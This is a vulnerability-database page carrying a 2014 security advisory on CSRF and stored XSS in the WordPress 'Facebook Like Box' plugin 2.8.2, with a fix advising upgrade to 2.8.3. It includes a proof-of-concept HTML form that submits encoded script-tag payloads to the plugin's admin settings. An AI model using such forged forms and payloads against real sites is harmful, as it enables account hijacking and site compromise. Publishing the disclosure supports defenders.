Lucene search
K

WordPress Facebook Like Box 2.8.2 CSRF / XSS

🗓️ 12 Dec 2014 00:00:00Reported by Morten NortoftType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

WordPress 'Facebook Like Box' plugin - CSRF/XSS, Upgrade to v2.8.

Code
`Title: WordPress 'Facebook Like Box' plugin - CSRF/XSS  
Version: 2.8.2  
Reported by: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej  
Date: 2014/12/12  
Download: https://wordpress.org/plugins/cardoza-facebook-like-box/  
Notified WordPress: 2014/11/27  
----------------------------------------------------------------  
  
## Description:   
----------------------------------------------------------------  
Facebook Like Box is a social plugin that enables Facebook Page owners to attract and gain Likes from their own website.  
  
## CSRF:  
----------------------------------------------------------------  
It is possible to change the plugins admin settings by tricking a logged in admin to visit a crafted page.   
  
  
## Stored XSS:  
----------------------------------------------------------------  
Settings data from the admin page is stored unsanitized and echo'ed on the plugin's admin page. This allows an attacker to perform XSS through these fields.   
  
  
PoC:  
Log in to a vulnerable site and press submit on this form:   
  
<form method="POST" action="http://vuln.site/wp-admin/admin.php?page=slug_for_fb_like_box">   
<input type="text" name="frm_title" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(1);&#x3C;/script&#x3E;"><br />  
<input type="text" name="frm_url" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(2);&#x3C;/script&#x3E;"><br />  
<input type="text" name="frm_border_color" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(3);&#x3C;/script&#x3E;"><br />  
<input type="text" name="frm_width" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(4);&#x3C;/script&#x3E;"><br />   
<input type="text" name="frm_height" value="&#x22;/&#x3E;&#x3C;script&#x3E;alert(5);&#x3C;/script&#x3E;"><br />   
<input type="text" name="frm_color_scheme" value="light"><br />  
<input type="text" name="frm_show_faces" value="true"><br />  
<input type="text" name="frm_stream" value="true"><br />  
<input type="text" name="frm_header" value="true"><br />  
<input type="text" name="frm_submit" value="Save"><br />  
<input type="submit">  
</form>  
  
  
## Solution  
----------------------------------------------------------------  
You should upgrade to version 2.8.3.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Dec 2014 00:00Current
7.4High risk
Vulners AI Score7.4
19